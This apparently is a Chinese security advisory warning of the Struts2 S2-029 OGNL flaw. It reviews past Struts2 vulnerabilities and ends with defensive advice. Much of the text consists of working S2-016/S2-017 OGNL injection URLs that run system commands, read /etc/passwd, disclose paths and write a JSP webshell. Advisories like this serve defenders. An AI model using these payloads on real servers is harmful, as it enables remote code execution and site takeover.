預警:Struts最新遠程執(zhí)行漏洞S2-029 0Day即將來襲
原創(chuàng)Struts是Apache基金會Jakarta項目組的一個開源項目,Struts通過采用Java Servlet/JSP技術,實現(xiàn)了基于Java EE Web應用的Model-View-Controller(MVC)設計模式的應用框架,是MVC經(jīng)典設計模式中的一個經(jīng)典產(chǎn)品。目前,Struts框架廣泛應用于政府、公安、交通、金融行業(yè)和運營商的網(wǎng)站建設,作為網(wǎng)站開發(fā)的底層模板使用,是應用最廣泛的Web應用框架之一。Struts2早期遠程溢出漏洞曾經(jīng)風靡一時,使用網(wǎng)上公開的工具即可滲透開心網(wǎng)、人人網(wǎng)、銀行、高校以及企業(yè),給被入侵方造成巨大損失,可以說是安全維護和運營人員心中永遠的疼,而如今最新高危遠程執(zhí)行漏洞S2-029即將襲來,您準備好了嗎?
一、最新高危遠程執(zhí)行漏洞S2-029
目前Struts2的最新版本為Struts 2.5 beta,Struts最新漏洞為S2-029,官方已經(jīng)發(fā)布公告,該漏洞危險級別為高危。如下所示:
Summary 概要
當在tag屬性中使用用戶的原始輸入時會導致雙OGNL表達式執(zhí)行。
struts2 漏洞
解決方法
在使用的標簽屬性中對每一個傳入的參數(shù)值進行適當?shù)尿炞C或者升級到2.3.25的Struts。
本次漏洞是跟OGNL有關,OGNL是Object-Graph Navigation Language的縮寫,全稱為對象圖導航語言,是一種功能強大的表達式語言,它通過簡單一致的語法,可以任意存取對象的屬性或者調(diào)用對象的方法,能夠遍歷整個對象的結(jié)構(gòu)圖,實現(xiàn)對象屬性類型的轉(zhuǎn)換等功能。
二、歷史漏洞信息簡要回顧
Struts官方安全公告給出了歷史所有漏洞信息,如圖1所示,Struts 最新遠程執(zhí)行漏洞為S2-029。Struts2曾經(jīng)使國內(nèi)很多大型網(wǎng)站淪陷,Struts2漏洞的修復比較困難,Apache Struts2是一個應用框架,它的漏洞并不像Windows一樣,及時發(fā)個補丁推送給用戶,更新了就沒事了,而是需要站長和網(wǎng)站維護人員自己去更新這個補丁。下面簡單回顧一下Struts2歷史高危漏洞:
圖1 Struts2歷史漏洞列表
Struts歷史重要漏洞回顧:
1. Struts S-016和Struts S-017
Struts S-016漏洞原因是action的值redirect和redirectAction沒有正確過濾,導致可以執(zhí)行任意代碼,如系統(tǒng)命令、上傳、下載文件等。利用POC:
POC1:
- http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))
POC2:
- http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'
POC3:
- http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true
POC4:
- http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]
POC5(執(zhí)行了兩次所以是10秒):
- http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}
(4)執(zhí)行CMD命令的POC,關于回顯:webStr\75new\40byte[100] 修改為合適的長度。
POC1:
- http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig
POC2:
- http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3:
- http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
POC4:
- http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an
POC5:
- http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
2. Struts S-017漏洞
(1)帶回顯命令執(zhí)行:
- http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
(2)爆路徑:
- http://www.antian365.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
寫文件:
- http://www.antian365.com/struts2-blank/example/X.action?redirect:${
- %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
- %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
- new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
- }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
3.S2-018漏洞
Apache Struts 2的操作映射機制支持特殊參數(shù)前綴操作,這樣有可能會在表格底部附加引導信息,在映射 "action:" 前綴操作時存在安全繞過漏洞,可被利用繞過某些安全限制,訪問受限制功能。
4.S2-019漏洞
Apache Struts 2的“Dynamic Method Invocation”機制是默認開啟的,僅提醒用戶如果可能的情況下關閉此機制,這樣就存在遠程代碼執(zhí)行漏洞,遠程攻擊者可利用此漏洞在受影響應用上下文中執(zhí)行任意代碼。
5.S2-020漏洞
Apache Struts 2.0.0-2.3.16版本的默認上傳機制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允許訪問'class' 參數(shù)(該參數(shù)直接映射到getClass()方法),并允許控制ClassLoader。在具體的Web容器部署環(huán)境下(如:Tomcat),攻擊者利用 Web容器下的Java Class對象及其屬性參數(shù)(如:日志存儲參數(shù)),可向服務器發(fā)起遠程代碼執(zhí)行攻擊,進而植入網(wǎng)站后門控制網(wǎng)站服務器主機。
三、建議防范方法
1.定期定日備份數(shù)據(jù)以及源代碼,在被攻擊第一時間恢復和還原。
2.測試能否對Struts2程序升級,官方聲稱可以升級到最新版本,如果可以則升級到最新。
3.近期重點關注日志文件,對一些異常訪問或者流量突然增大進行分析。
四、參考文章
1.http://struts.apache.org/docs/s2-016.html
2.http://struts.apache.org/docs/s2-017.html
3.Debug Struts2 S2-021的一點心得體會:
http://drops.wooyun.org/papers/1778
4.S2-020:
http://struts.apache.org/release/2.3.x/docs/s2-020.html
5.S2-019的遠程代碼執(zhí)行漏洞:
http://sebug.net/vuldb/ssvid-61048
6.S2-016官方補丁分析:
http://www.freebuf.com/articles/web/11234.html
7.struts2 最新S2-016-S2-017漏洞通殺struts2所有版本:
http://zone.wooyun.org/content/5159
8.S2-013的漏洞分析:
http://www.freebuf.com/vuls/9757.html
9.Struts2最近幾個漏洞分析&穩(wěn)定利用Payload:
http://www.freebuf.com/articles/web/25337.html
10.另外關于S2-020:
http://sec.baidu.com/index.php?research/detail/id/18